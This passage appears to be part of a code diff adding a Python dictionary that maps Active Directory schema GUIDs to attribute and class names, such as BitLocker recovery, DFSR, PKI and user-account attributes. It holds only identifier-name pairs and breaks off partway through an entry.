'281416d9-1968-11d0-a28f-00aa003049e2': 'COM-CLSID', + '80a67e4f-9f22-11d0-afdd-00c04fd930c9': 'Machine-Wide-Policy', + 'db7a08e7-fc76-4569-a45f-f5ecb66a88b5': 'ms-DFSR-CachePolicy', + '16775848-47f3-11d1-a9c3-0000f80367c1': 'Object-Version', + 'bf967a4b-0de6-11d0-a285-00aa003049e2': 'Telex-Number', + 'f8758ef7-ac76-8843-a2ee-a26b4dcaf409': 'ms-DS-ManagedPasswordInterval', + '1cb81863-b822-4379-9ea2-5ff7bdc6386d': 'ms-net-ieee-80211-GroupPolicy', + 'bf96793c-0de6-11d0-a285-00aa003049e2': 'COM-InterfaceID', + '0296c120-40da-11d1-a9c0-0000f80367c1': 'Managed-By', + '4c5d607a-ce49-444a-9862-82a95f5d1fcc': 'ms-DFSR-MinDurationCacheInMin', + 'bf9679ea-0de6-11d0-a285-00aa003049e2': 'OEM-Information', + '0296c121-40da-11d1-a9c0-0000f80367c1': 'Telex-Primary', + '888eedd6-ce04-df40-b462-b8a50e41ba38': 'ms-DS-GroupMSAMembership', + '281416dd-1968-11d0-a28f-00aa003049e2': 'COM-Other-Prog-Id', + '0296c124-40da-11d1-a9c0-0000f80367c1': 'Managed-Objects', + '2ab0e48d-ac4e-4afc-83e5-a34240db6198': 'ms-DFSR-MaxAgeInCacheInMin', + 'bf9679ec-0de6-11d0-a285-00aa003049e2': 'OM-Object-Class', + 'ed9de9a0-7041-11d2-9905-0000f87a57d4': 'Template-Roots', + '55872b71-c4b2-3b48-ae51-4095f91ec600': 'ms-DS-Transformation-Rules', + '99a03a6a-ab19-4446-9350-0cb878ed2d9b': 'ms-net-ieee-8023-GroupPolicy', + 'bf96793d-0de6-11d0-a285-00aa003049e2': 'COM-ProgID', + 'bf9679b5-0de6-11d0-a285-00aa003049e2': 'Manager', + '43061ac1-c8ad-4ccc-b785-2bfac20fc60a': 'ms-FVE-RecoveryPassword', + 'bf9679ed-0de6-11d0-a285-00aa003049e2': 'OM-Syntax', + '6db69a1c-9422-11d1-aebd-0000f80367c1': 'Terminal-Server', + '86284c08-0c6e-1540-8b15-75147d23d20d': 'ms-DS-Ingress-Claims-Transformation-Policy', + 'fa85c591-197f-477e-83bd-ea5a43df2239': 'ms-DFSR-LocalSettings', + '281416db-1968-11d0-a28f-00aa003049e2': 'COM-Treat-As-Class-Id', + 'bf9679b7-0de6-11d0-a285-00aa003049e2': 'MAPI-ID', + '85e5a5cf-dcee-4075-9cfd-ac9db6a2f245': 'ms-FVE-VolumeGuid', + 'ddac0cf3-af8f-11d0-afeb-00c04fd930c9': 'OMT-Guid', + 'f0f8ffa7-1191-11d0-a060-00aa006c33ed': 'Text-Country', + 'c137427e-9a73-b040-9190-1b095bb43288': 'ms-DS-Egress-Claims-Transformation-Policy', + 'ea715d30-8f53-40d0-bd1e-6109186d782c': 'ms-FVE-RecoveryInformation', + '281416de-1968-11d0-a28f-00aa003049e2': 'COM-Typelib-Id', + 'bf9679b9-0de6-11d0-a285-00aa003049e2': 'Marshalled-Interface', + '1fd55ea8-88a7-47dc-8129-0daa97186a54': 'ms-FVE-KeyPackage', + '1f0075fa-7e40-11d0-afd6-00c04fd930c9': 'OMT-Indx-Guid', + 'a8df7489-c5ea-11d1-bbcb-0080c76670c0': 'Text-Encoded-OR-Address', + 'd5006229-9913-2242-8b17-83761d1e0e5b': 'ms-DS-TDO-Egress-BL', + 'e11505d7-92c4-43e7-bf5c-295832ffc896': 'ms-DFSR-Subscriber', + '281416da-1968-11d0-a28f-00aa003049e2': 'COM-Unique-LIBID', + 'e48e64e0-12c9-11d3-9102-00c04fd91ab1': 'Mastered-By', + 'f76909bc-e678-47a0-b0b3-f86a0044c06d': 'ms-FVE-RecoveryGuid', + '3e978925-8c01-11d0-afda-00c04fd930c9': 'Operating-System', + 'ddac0cf1-af8f-11d0-afeb-00c04fd930c9': 'Time-Refresh', + '5a5661a1-97c6-544b-8056-e430fe7bc554': 'ms-DS-TDO-Ingress-BL', + '25173408-04ca-40e8-865e-3f9ce9bf1bd3': 'ms-DFS-Deleted-Link-v2', + 'bf96793e-0de6-11d0-a285-00aa003049e2': 'Comment', + 'bf9679bb-0de6-11d0-a285-00aa003049e2': 'Max-Pwd-Age', + 'aa4e1a6d-550d-4e05-8c35-4afcb917a9fe': 'ms-TPM-OwnerInformation', + 'bd951b3c-9c96-11d0-afdd-00c04fd930c9': 'Operating-System-Hotfix', + 'ddac0cf0-af8f-11d0-afeb-00c04fd930c9': 'Time-Vol-Change', + '0bb49a10-536b-bc4d-a273-0bab0dd4bd10': 'ms-DS-Transformation-Rules-Compiled', + '67212414-7bcc-4609-87e0-088dad8abdee': 'ms-DFSR-Subscription', + 'bf96793f-0de6-11d0-a285-00aa003049e2': 'Common-Name', + 'bf9679bc-0de6-11d0-a285-00aa003049e2': 'Max-Renew-Age', + '0e0d0938-2658-4580-a9f6-7a0ac7b566cb': 'ms-ieee-80211-Data', + '3e978927-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Service-Pack', + 'bf967a55-0de6-11d0-a285-00aa003049e2': 'Title', + '693f2006-5764-3d4a-8439-58f04aab4b59': 'ms-DS-Applies-To-Resource-Types', + '7769fb7a-1159-4e96-9ccd-68bc487073eb': 'ms-DFS-Link-v2', + 'f0f8ff88-1191-11d0-a060-00aa006c33ed': 'Company', + 'bf9679bd-0de6-11d0-a285-00aa003049e2': 'Max-Storage', + '6558b180-35da-4efe-beed-521f8f48cafb': 'ms-ieee-80211-Data-Type', + '3e978926-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Version', + '16c3a860-1273-11d0-a060-00aa006c33ed': 'Tombstone-Lifetime', + '24977c8c-c1b7-3340-b4f6-2b375eb711d7': 'ms-DS-RID-Pool-Allocation-Enabled', + '7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6': 'ms-DFSR-GlobalSettings', + 'bf967943-0de6-11d0-a285-00aa003049e2': 'Content-Indexing-Allowed', + 'bf9679be-0de6-11d0-a285-00aa003049e2': 'Max-Ticket-Age', + '7f73ef75-14c9-4c23-81de-dd07a06f9e8b': 'ms-ieee-80211-ID', + 'bf9679ee-0de6-11d0-a285-00aa003049e2': 'Operator-Count', + 'c1dc867c-a261-11d1-b606-0000f80367c1': 'Transport-Address-Attribute', + '9709eaaf-49da-4db2-908a-0446e5eab844': 'ms-DS-cloudExtensionAttribute1', + 'da73a085-6e64-4d61-b064-015d04164795': 'ms-DFS-Namespace-Anchor', + '4d8601ee-ac85-11d0-afe3-00c04fd930c9': 'Context-Menu', + 'bf9679bf-0de6-11d0-a285-00aa003049e2': 'May-Contain', + '8a5c99e9-2230-46eb-b8e8-e59d712eb9ee': 'ms-IIS-FTP-Dir', + '963d274d-48be-11d1-a9c3-0000f80367c1': 'Option-Description', + '26d97372-6070-11d1-a9c6-0000f80367c1': 'Transport-DLL-Name', + 'f34ee0ac-c0c1-4ba9-82c9-1a90752f16a5': 'ms-DS-cloudExtensionAttribute2', + '1c332fe0-0c2a-4f32-afca-23c5e45a9e77': 'ms-DFSR-ReplicationGroup', + '6da8a4fc-0e52-11d0-a286-00aa003049e2': 'Control-Access-Rights', + '11b6cc8b-48c4-11d1-a9c3-0000f80367c1': 'meetingAdvertiseScope', + '2a7827a4-1483-49a5-9d84-52e3812156b4': 'ms-IIS-FTP-Root', + '19195a53-6da0-11d0-afd3-00c04fd930c9': 'Options', + '26d97374-6070-11d1-a9c6-0000f80367c1': 'Transport-Type', + '82f6c81a-fada-4a0d-b0f7-706d46838eb5': 'ms-DS-cloudExtensionAttribute3', + '21cb8628-f3c3-4bbf-bff6-060b2d8f299a': 'ms-DFS-Namespace-v2', + 'bf967944-0de6-11d0-a285-00aa003049e2': 'Cost', + '11b6cc83-48c4-11d1-a9c3-0000f80367c1': 'meetingApplication', + '51583ce9-94fa-4b12-b990-304c35b18595': 'ms-Imaging-PSP-Identifier', + '963d274e-48be-11d1-a9c3-0000f80367c1': 'Options-Location', + '8fd044e3-771f-11d1-aeae-0000f80367c1': 'Treat-As-Leaf', + '9cbf3437-4e6e-485b-b291-22b02554273f': 'ms-DS-cloudExtensionAttribute4', + '64759b35-d3a1-42e4-b5f1-a3de162109b3': 'ms-DFSR-Content', + '508ca374-a511-4e4e-9f4f-856f61a6b7e4': 'Address-Book-Roots2', + '5fd42471-1262-11d0-a060-00aa006c33ed': 'Country-Code', + '11b6cc92-48c4-11d1-a9c3-0000f80367c1': 'meetingBandwidth', + '7b6760ae-d6ed-44a6-b6be-9de62c09ec67': 'ms-Imaging-PSP-String', + 'bf9679ef-0de6-11d0-a285-00aa003049e2': 'Organization-Name', + '28630ebd-41d5-11d1-a9c1-0000f80367c1': 'Tree-Name', + '2915e85b-e347-4852-aabb-22e5a651c864': 'ms-DS-cloudExtensionAttribute5', + '4898f63d-4112-477c-8826-3ca00bd8277d': 'Global-Address-List2', + 'bf967945-0de6-11d0-a285-00aa003049e2': 'Country-Name', + '11b6cc93-48c4-11d1-a9c3-0000f80367c1': 'meetingBlob', + '35697062-1eaf-448b-ac1e-388e0be4fdee': 'ms-net-ieee-80211-GP-PolicyGUID', + 'bf9679f0-0de6-11d0-a285-00aa003049e2': 'Organizational-Unit-Name', + '80a67e5a-9f22-11d0-afdd-00c04fd930c9': 'Trust-Attributes', + '60452679-28e1-4bec-ace3-712833361456': 'ms-DS-cloudExtensionAttribute6', + '4937f40d-a6dc-4d48-97ca-06e5fbfd3f16': 'ms-DFSR-ContentSet', + 'b1cba91a-0682-4362-a659-153e201ef069': 'Template-Roots2', + '2b09958a-8931-11d1-aebc-0000f80367c1': 'Create-Dialog', + '11b6cc87-48c4-11d1-a9c3-0000f80367c1': 'meetingContactInfo', + '9c1495a5-4d76-468e-991e-1433b0a67855': 'ms-net-ieee-80211-GP-PolicyData', + '28596019-7349-4d2f-adff-5a629961f942': 'organizationalStatus', + 'bf967a59-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Incoming', + '4a7c1319-e34e-40c2-9d00-60ff7890f207': 'ms-DS-cloudExtensionAttribute7', + '2df90d73-009f-11d2-aa4c-00c04fd7d83a': 'Create-Time-Stamp', + '11b6cc7e-48c4-11d1-a9c3-0000f80367c1': 'meetingDescription', + '0f69c62e-088e-4ff5-a53a-e923cec07c0a': 'ms-net-ieee-80211-GP-PolicyReserved', + '5fd424ce-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table', + 'bf967a5f-0de6-11d0-a285-00aa003049e2': 'Trust-Auth-Outgoing', + '3cd1c514-8449-44ca-81c0-021781800d2a': 'ms-DS-cloudExtensionAttribute8', + '04828aa9-6e42-4e80-b962-e2fe00754d17': 'ms-DFSR-Topology', + 'b8442f58-c490-4487-8a9d-d80b883271ad': 'ms-DS-Claim-Type-Property-Base', + '2b09958b-8931-11d1-aebc-0000f80367c1': 'Create-Wizard-Ext', + '11b6cc91-48c4-11d1-a9c3-0000f80367c1': 'meetingEndTime', + '94a7b05a-b8b2-4f59-9c25-39e69baa1684': 'ms-net-ieee-8023-GP-PolicyGUID', + '5fd424cf-1262-11d0-a060-00aa006c33ed': 'Original-Display-Table-MSDOS', + 'bf967a5c-0de6-11d0-a285-00aa003049e2': 'Trust-Direction', + '0a63e12c-3040-4441-ae26-cd95af0d247e': 'ms-DS-cloudExtensionAttribute9', + 'bf967946-0de6-11d0-a285-00aa003049e2': 'Creation-Time', + '11b6cc7c-48c4-11d1-a9c3-0000f80367c1': 'meetingID', + '8398948b-7457-4d91-bd4d-8d7ed669c9f7': 'ms-net-ieee-8023-GP-PolicyData', + 'bf9679f1-0de6-11d0-a285-00aa003049e2': 'Other-Login-Workstations', + 'b000ea7a-a086-11d0-afdd-00c04fd930c9': 'Trust-Parent', + '670afcb3-13bd-47fc-90b3-0a527ed81ab7': 'ms-DS-cloudExtensionAttribute10', + '4229c897-c211-437c-a5ae-dbf705b696e5': 'ms-DFSR-Member', + '36093235-c715-4821-ab6a-b56fb2805a58': 'ms-DS-Claim-Types', + '4d8601ed-ac85-11d0-afe3-00c04fd930c9': 'Creation-Wizard', + '11b6cc89-48c4-11d1-a9c3-0000f80367c1': 'meetingIP', + 'd3c527c7-2606-4deb-8cfd-18426feec8ce': 'ms-net-ieee-8023-GP-PolicyReserved', + '0296c123-40da-11d1-a9c0-0000f80367c1': 'Other-Mailbox', + 'bf967a5d-0de6-11d0-a285-00aa003049e2': 'Trust-Partner', + '9e9ebbc8-7da5-42a6-8925-244e12a56e24': 'ms-DS-cloudExtensionAttribute11', + '7bfdcb85-4807-11d1-a9c3-0000f80367c1': 'Creator', + '11b6cc8e-48c4-11d1-a9c3-0000f80367c1': 'meetingIsEncrypted', + '3164c36a-ba26-468c-8bda-c1e5cc256728': 'ms-PKI-Cert-Template-OID', + 'bf9679f2-0de6-11d0-a285-00aa003049e2': 'Other-Name', + 'bf967a5e-0de6-11d0-a285-00aa003049e2': 'Trust-Posix-Offset', + '3c01c43d-e10b-4fca-92b2-4cf615d5b09a': 'ms-DS-cloudExtensionAttribute12', + 'e58f972e-64b5-46ef-8d8b-bbc3e1897eab': 'ms-DFSR-Connection', + '7a4a4584-b350-478f-acd6-b4b852d82cc0': 'ms-DS-Resource-Properties', + '963d2737-48be-11d1-a9c3-0000f80367c1': 'CRL-Object', + '11b6cc7f-48c4-11d1-a9c3-0000f80367c1': 'meetingKeyword', + 'dbd90548-aa37-4202-9966-8c537ba5ce32': 'ms-PKI-Certificate-Application-Policy', + '1ea64e5d-ac0f-11d2-90df-00c04fd91ab1': 'Other-Well-Known-Objects', + 'bf967a60-0de6-11d0-a285-00aa003049e2': 'Trust-Type', + '28be464b-ab90-4b79-a6b0-df437431d036': 'ms-DS-cloudExtensionAttribute13', + '963d2731-48be-11d1-a9c3-0000f80367c1': 'CRL-Partitioned-Revocation-List', + '11b6cc84-48c4-11d1-a9c3-0000f80367c1': 'meetingLanguage', + 'ea1dddc4-60ff-416e-8cc0-17cee534bce7': 'ms-PKI-Certificate-Name-Flag', + 'bf9679f3-0de6-11d0-a285-00aa003049e2': 'Owner', + 'bf967a61-0de6-11d0-a285-00aa003049e2': 'UAS-Compat', + 'cebcb6ba-6e80-4927-8560-98feca086a9f': 'ms-DS-cloudExtensionAttribute14', + '7b9a2d92-b7eb-4382-9772-c3e0f9baaf94': 'ms-ieee-80211-Policy', + '81a3857c-5469-4d8f-aae6-c27699762604': 'ms-DS-Claim-Type', + '167757b2-47f3-11d1-a9c3-0000f80367c1': 'Cross-Certificate-Pair', + '11b6cc80-48c4-11d1-a9c3-0000f80367c1': 'meetingLocation', + '38942346-cc5b-424b-a7d8-6ffd12029c5f': 'ms-PKI-Certificate-Policy', + '7d6c0e99-7e20-11d0-afd6-00c04fd930c9': 'Package-Flags', + '0bb0fca0-1e89-429f-901a-1413894d9f59': 'uid', + 'aae4d537-8af0-4daa-9cc6-62eadb84ff03': 'ms-DS-cloudExtensionAttribute15', + '1f0075fe-7e40-11d0-afd6-00c04fd930c9': 'Curr-Machine-Id', + '11b6cc85-48c4-11d1-a9c3-0000f80367c1': 'meetingMaxParticipants', + 'b7ff5a38-0818-42b0-8110-d3d154c97f24': 'ms-PKI-Credential-Roaming-Tokens', + '7d6c0e98-7e20-11d0-afd6-00c04fd930c9': 'Package-Name', + 'bf967a64-0de6-11d0-a285-00aa003049e2': 'UNC-Name', + '9581215b-5196-4053-a11e-6ffcafc62c4d': 'ms-DS-cloudExtensionAttribute16', + 'a0ed2ac1-970c-4777-848e-ec63a0ec44fc': 'ms-Imaging-PSPs', + '5b283d5e-8404-4195-9339-8450188c501a': 'ms-DS-Resource-Property', + '1f0075fc-7e40-11d0-afd6-00c04fd930c9': 'Current-Location', + '11b6cc7d-48c4-11d1-a9c3-0000f80367c1': 'meetingName', + 'd15ef7d8-f226-46db-ae79-b34e560bd12c': 'ms-PKI-Enrollment-Flag', + '7d6c0e96-7e20-11d0-afd6-00c04fd930c9': 'Package-Type', + 'bf9679e1-0de6-11d0-a285-00aa003049e2': 'Unicode-Pwd', + '3d3c6dda-6be8-4229-967e-2ff5bb93b4ce': 'ms-DS-cloudExtensionAttribute17', + '963d273f-48be-11d1-a9c3-0000f80367c1': 'Current-Parent-CA', + '11b6cc86-48c4-11d1-a9c3-0000f80367c1': 'meetingOriginator', + 'f22bd38f-a1d0-4832-8b28-0331438886a6': 'ms-PKI-Enrollment-Servers', + '5245801b-ca6a-11d0-afff-0000f80367c1': 'Parent-CA', + 'ba0184c7-38c5-4bed-a526-75421470580c': 'uniqueIdentifier', + '88e73b34-0aa6-4469-9842-6eb01b32a5b5': 'ms-DS-cloudExtensionAttribute18', + '1f7c257c-b8a3-4525-82f8-11ccc7bee36e': 'ms-Imaging-PostScanProcess', + '72e3d47a-b342-4d45-8f56-baff803cabf9': 'ms-DS-Resource-Property-List', + 'bf967947-0de6-11d0-a285-00aa003049e2': 'Current-Value', + '11b6cc88-48c4-11d1-a9c3-0000f80367c1': 'meetingOwner', + 'e96a63f5-417f-46d3-be52-db7703c503df': 'ms-PKI-Minimal-Key-Size', + '963d2733-48be-11d1-a9c3-0000f80367c1': 'Parent-CA-Certificate-Chain', + '8f888726-f80a-44d7-b1ee-cb9df21392c8': 'uniqueMember', + '0975fe99-9607-468a-8e18-c800d3387395': 'ms-DS-cloudExtensionAttribute19', + 'bf96799c-0de6-11d0-a285-00aa003049e2': 'DBCS-Pwd', + '11b6cc81-48c4-11d1-a9c3-0000f80367c1': 'meetingProtocol', + '8c9e1288-5028-4f4f-a704-76d026f246ef': 'ms-PKI-OID-Attribute', + '2df90d74-009f-11d2-aa4c-00c04fd7d83a': 'Parent-GUID', + '50950839-cc4c-4491-863a-fcf942d684b7': 'unstructuredAddress', + 'f5446328-8b6e-498d-95a8-211748d5acdc': 'ms-DS-cloudExtensionAttribute20', + 'a16f33c7-7fd6-4828-9364-435138fda08d': 'ms-Print-ConnectionPolicy', + 'b72f862b-bb25-4d5d-aa51-62c59bdf90ae': 'ms-SPP-Activation-Objects-Container', + 'bf967948-0de6-11d0-a285-00aa003049e2': 'Default-Class-Store', + '11b6cc8d-48c4-11d1-a9c3-0000f80367c1': 'meetingRating', + '5f49940e-a79f-4a51-bb6f-3d446a54dc6b': 'ms-PKI-OID-CPS', + '28630ec0-41d5-11d1-a9c1-0000f80367c1': 'Partial-Attribute-Deletion-List', + '9c8ef177-41cf-45c9-9673-7716c0c8901b': 'unstructuredName', + '6b3d6fda-0893-43c4-89fb-1fb52a6616a9': 'ms-DS-Issuer-Certificates', + '720bc4e2-a54a-11d0-afdf-00c04fd930c9': 'Default-Group', + '11b6cc8f-48c4-11d1-a9c3-0000f80367c1': 'meetingRecurrence', + '7d59a816-bb05-4a72-971f-5c1331f67559': 'ms-PKI-OID-LocalizedName', + '19405b9e-3cfa-11d1-a9c0-0000f80367c1': 'Partial-Attribute-Set', + 'd9e18312-8939-11d1-aebc-0000f80367c1': 'Upgrade-Product-Code', + 'ca3286c2-1f64-4079-96bc-e62b610e730f': 'ms-DS-Registration-Quota', + '37cfd85c-6719-4ad8-8f9e-8678ba627563': 'ms-PKI-Enterprise-Oid', + '51a0e68c-0dc5-43ca-935d-c1c911bf2ee5': 'ms-SPP-Activation-Object', + 'b7b13116-b82e-11d0-afee-0000f80367c1': 'Default-Hiding-Value', + '11b6cc8a-48c4-11d1-a9c3-0000f80367c1': 'meetingScope', + '04c4da7a-e114-4e69-88de-e293f2d3b395': 'ms-PKI-OID-User-Notice', + '07383084-91df-11d1-aebc-0000f80367c1': 'Pek-Key-Change-Interval', + '032160bf-9824-11d1-aec0-0000f80367c1': 'UPN-Suffixes', + '0a5caa39-05e6-49ca-b808-025b936610e7': 'ms-DS-Maximum-Registration-Inactivity-Period', + 'bf96799f-0de6-11d0-a285-00aa003049e2': 'Default-Local-Policy-Object', + '11b6cc90-48c4-11d1-a9c3-0000f80367c1': 'meetingStartTime', + 'bab04ac2-0435-4709-9307-28380e7c7001': 'ms-PKI-Private-Key-Flag', + '07383083-91df-11d1-aebc-0000f80367c1': 'Pek-List', + 'bf967a68-0de6-11d0-a285-00aa003049e2': 'User-Account-Control', + 'e3fb56c8-5de8-45f5-b1b1-d2b6cd31e762': 'ms-DS-Device-Location', + '26ccf238-a08e-4b86-9a82-a8c9ac7ee5cb': 'ms-PKI-Key-Recovery-Agent', + 'e027a8bd-6456-45de-90a3-38593877ee74': 'ms-TPM-Information-Objects-Container', + '26d97367-6070-11d1-a9c6-0000f80367c1': 'Default-Object-Category', + '11b6cc82-48c4-11d1-a9c3-0000f80367c1': 'meetingType', + '0cd8711f-0afc-4926-a4b1-09b08d3d436c': 'ms-PKI-Site-Name', + '963d273c-48be-11d1-a9c3-0000f80367c1': 'Pending-CA-Certificates', + 'bf967a69-0de6-11d0-a285-00aa003049e2': 'User-Cert', + '617626e9-01eb-42cf-991f-ce617982237e': 'ms-DS-Registered-Owner', + '281416c8-1968-11d0-a28f-00aa003049e2': 'Default-Priority', + '11b6cc8c-48c4-11d1-a9c3-0000f80367c1': 'meetingURL', + '9de8ae7d-7a5b-421d-b5e4-061f79dfd5d7': 'ms-PKI-Supersede-Templates', + '963d273e-48be-11d1-a9c3-0000f80367c1': 'Pending-Parent-CA', + 'bf967a6a-0de6-11d0-a285-00aa003049e2': 'User-Comment', + '0449160c-5a8e-4fc8-b052-01c0f6e48f02': 'ms-DS-Registered-Users', + '05f6c878-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLServer', + '85045b6a-47a6-4243-a7cc-6890701f662c': 'ms-TPM-Information-Object', + '807a6d30-1669-11d0-a064-00aa006c33ed': 'Default-Security-Descriptor', + 'bf9679c0-0de6-11d0-a285-00aa003049e2': 'Member', + '13f5236c-1884-46b1-b5d0-484e38990d58': 'ms-PKI-Template-Minor-Revision', + '5fd424d3-1262-11d0-a060-00aa006c33ed': 'Per-Msg-Dialog-Display-Table', + 'bf967a6d-0de6-11d0-a285-00aa003049e2': 'User-Parameters', + 'a34f983b-84c6-4f0c-9050-a3a14a1d35a4': 'ms-DS-Approximate-Last-Logon-Time-Stamp', + '167757b5-47f3-11d1-a9c3-0000f80367c1': 'Delta-Revocation-List', + '0296c122-40da-11d1-a9c0-0000f80367c1': 'MHS-OR-Address', + '0c15e9f5-491d-4594-918f-32813a091da9': 'ms-PKI-Template-Schema-Version', + '5fd424d4-1262-11d0-a060-00aa006c33ed': 'Per-Recip-Dialog-Display-Table', + 'bf967a6e-0de6-11d0-a285-00aa003049e2': 'User-Password', + '22a95c0e-1f83-4c82-94ce-bea688cfc871': 'ms-DS-Is-Enabled', + '0c7e18ea-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPServer', + 'ef2fc3ed-6e18-415b-99e4-3114a8cb124b': 'ms-DNS-Server-Settings', + 'bf96794f-0de6-11d0-a285-00aa003049e2': 'Department', + 'bf9679c2-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Age', + '3c91fbbf-4773-4ccd-a87b-85d53e7bcf6a': 'ms-PKI-RA-Application-Policies', + '16775858-47f3-11d1-a9c3-0000f80367c1': 'Personal-Title', + '11732a8a-e14d-4cc5-b92f-d93f51c6d8e4': 'userClass', + '100e454d-f3bb-4dcb-845f-8d5edc471c59': 'ms-DS-Device-OS-Type', + 'be9ef6ee-cbc7-4f22-b27b-96967e7ee585': 'departmentNumber', + 'bf9679c3-0de6-11d0-a285-00aa003049e2': 'Min-Pwd-Length', + 'd546ae22-0951-4d47-817e-1c9f96faad46': 'ms-PKI-RA-Policies', + '0296c11d-40da-11d1-a9c0-0000f80367c1': 'Phone-Fax-Other', + '23998ab5-70f8-4007-a4c1-a84a38311f9a': 'userPKCS12', + '70fb8c63-5fab-4504-ab9d-14b329a8a7f8': 'ms-DS-Device-OS-Version', + '11d43c5c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLRepository', + '555c21c3-a136-455a-9397-796bbd358e25': 'ms-Authz-Central-Access-Policies', + 'bf967950-0de6-11d0-a285-00aa003049e2': 'Description', + 'bf9679c4-0de6-11d0-a285-00aa003049e2': 'Min-Ticket-Age', + 'fe17e04b-937d-4f7e-8e0e-9292c8d5683e': 'ms-PKI-RA-Signature', + 'f0f8ffa2-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Other', + '28630ebb-41d5-11d1-a9c1-0000f80367c1': 'User-Principal-Name', + '90615414-a2a0-4447-a993-53409599b74e': 'ms-DS-Device-Physical-IDs', + 'eea65906-8ac6-11d0-afda-00c04fd930c9': 'Desktop-Profile', + 'bf9679c5-0de6-11d0-a285-00aa003049e2': 'Modified-Count', + '6617e4ac-a2f1-43ab-b60c-11fbd1facf05': 'ms-PKI-RoamingTimeStamp', + 'f0f8ffa1-1191-11d0-a060-00aa006c33ed': 'Phone-Home-Primary', + '9a9a021f-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder', + 'c30181c7-6342-41fb-b279-f7c566cbe0a7': 'ms-DS-Device-ID', + '17c2f64e-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLPublication', + '99bb1b7a-606d-4f8b-800e-e15be554ca8d': 'ms-Authz-Central-Access-Rules', + '974c9a02-33fc-11d3-aa6e-00c04f8eedd8': 'msExch-Proxy-Gen-Options', + 'bf967951-0de6-11d0-a285-00aa003049e2': 'Destination-Indicator', + 'bf9679c6-0de6-11d0-a285-00aa003049e2': 'Modified-Count-At-Last-Prom', + 'b3f93023-9239-4f7c-b99c-6745d87adbc2': 'ms-PKI-DPAPIMasterKeys', + '4d146e4b-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Other', + '9a9a0220-4a5b-11d1-a9c3-0000f80367c1': 'User-Shared-Folder-Other', + 'ef65695a-f179-4e6a-93de-b01e06681cfb': 'ms-DS-Device-Object-Version', + '963d2750-48be-11d1-a9c3-0000f80367c1': 'dhcp-Classes', + '9a7ad94a-ca53-11d1-bbd0-0080c76670c0': 'Modify-Time-Stamp', + 'b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7': 'ms-PKI-AccountCredentials', + '4d146e4a-48d4-11d1-a9c3-0000f80367c1': 'Phone-Ip-Primary', + 'e16a9db2-403c-11d1-a9c0-0000f80367c1': 'User-SMIME-Certificate', + '862166b6-c941-4727-9565-48bfff2941de': 'ms-DS-Is-Member-Of-DL-Transitive', + '1d08694a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-SQLDatabase', + '5b4a06dc-251c-4edb-8813-0bdd71327226': 'ms-Authz-Central-Access-Rule', + '963d2741-48be-11d1-a9c3-0000f80367c1': 'dhcp-Flags', + 'bf9679c7-0de6-11d0-a285-00aa003049e2': 'Moniker', + 'f39b98ad-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Attribute', + '0296c11f-40da-11d1-a9c0-0000f80367c1': 'Phone-ISDN-Primary', + 'bf9679d7-0de6-11d0-a285-00aa003049e2': 'User-Workstations', + 'e215395b-9104-44d9-b894-399ec9e21dfc': 'ms-DS-Member-Transitive', + '963d2742-48be-11d1-a9c3-0000f80367c1': 'dhcp-Identification', + 'bf9679c8-0de6-11d0-a285-00aa003049e2': 'Moniker-Display-Name', + 'f39b98ac-938d-11d1-aebd-0000f80367c1': 'ms-RRAS-Vendor-Attribute-Entry', + '0296c11e-40da-11d1-a9c0-0000f80367c1': 'Phone-Mobile-Other', + 'bf967a6f-0de6-11d0-a285-00aa003049e2': 'USN-Changed', + 'b918fe7d-971a-f404-9e21-9261abec970b': 'ms-DS-Parent-Dist-Name', + '20af031a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPDatabase', + 'a5679cb0-6f9d-432c-8b75-1e3e834f02aa': 'ms-Authz-Central-Access-Policy', + '963d2747-48be-11d1-a9c3-0000f80367c1': 'dhcp-Mask', + '1f2ac2c8-3b71-11d2-90cc-00c04fd91ab1': 'Move-Tree-State', + 'a6f24a23-d65c-4d65-a64f-35fb6873c2b9': 'ms-RADIUS-FramedInterfaceId', + 'f0f8ffa3-1191-11d0-a060-00aa006c33ed': 'Phone-Mobile-Primary', + 'bf967a70-0de6-11d0-a285-00aa003049e2': 'USN-Created', + '1e02d2ef-44ad-46b2-a67d-9fd18d780bca': 'ms-DS-Repl-Value-Meta-Data-Ext', + '963d2754-48be-11d1-a9c3-0000f80367c1': 'dhcp-MaxKey', + '998b10f7-aa1a-4364-b867-753d197fe670': 'ms-COM-DefaultPartitionLink', + 'a4da7289-92a3-42e5-b6b6-dad16d280ac9': 'ms-RADIUS-SavedFramedInterfaceId', + 'f0f8ffa5-1191-11d0-a060-00aa006c33ed': 'Phone-Office-Other', + 'bf967a71-0de6-11d0-a285-00aa003049e2': 'USN-DSA-Last-Obj-Removed', + '6055f766-202e-49cd-a8be-e52bb159edfb': 'ms-DS-Drs-Farm-ID', + '09f0506a-cd28-11d2-9993-0000f87a57d4': 'MS-SQL-OLAPCube', + '5ef243a8-2a25-45a6-8b73-08a71ae677ce': 'ms-Kds-Prov-ServerConfiguration', + '963d2744-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Description', + '430f678b-889f-41f2-9843-203b5a65572f': 'ms-COM-ObjectId', + 'f63ed610-d67c-494d-87be-cd1e24359a38': 'ms-RADIUS-FramedIpv6Prefix', + 'f0f8ffa4-1191-11d0-a060-00aa006c33ed': 'Phone-Pager-Other', + 'a8df7498-c5ea-11d1-bbcb-0080c76670c0': 'USN-Intersite', + 'b5f1edfe-b4d2-4076-ab0f-6148342b0bf6': 'ms-DS-Issuer-Public-Certificates', + '963d2743-48be-11d1-a9c3-0000f80367c1': 'dhcp-Obj-Name', + '09abac62-043f-4702-ac2b-6ca15eee5754': 'ms-COM-PartitionLink', + '0965a062-b1e1-403b-b48d-5c0eb0e952cc': 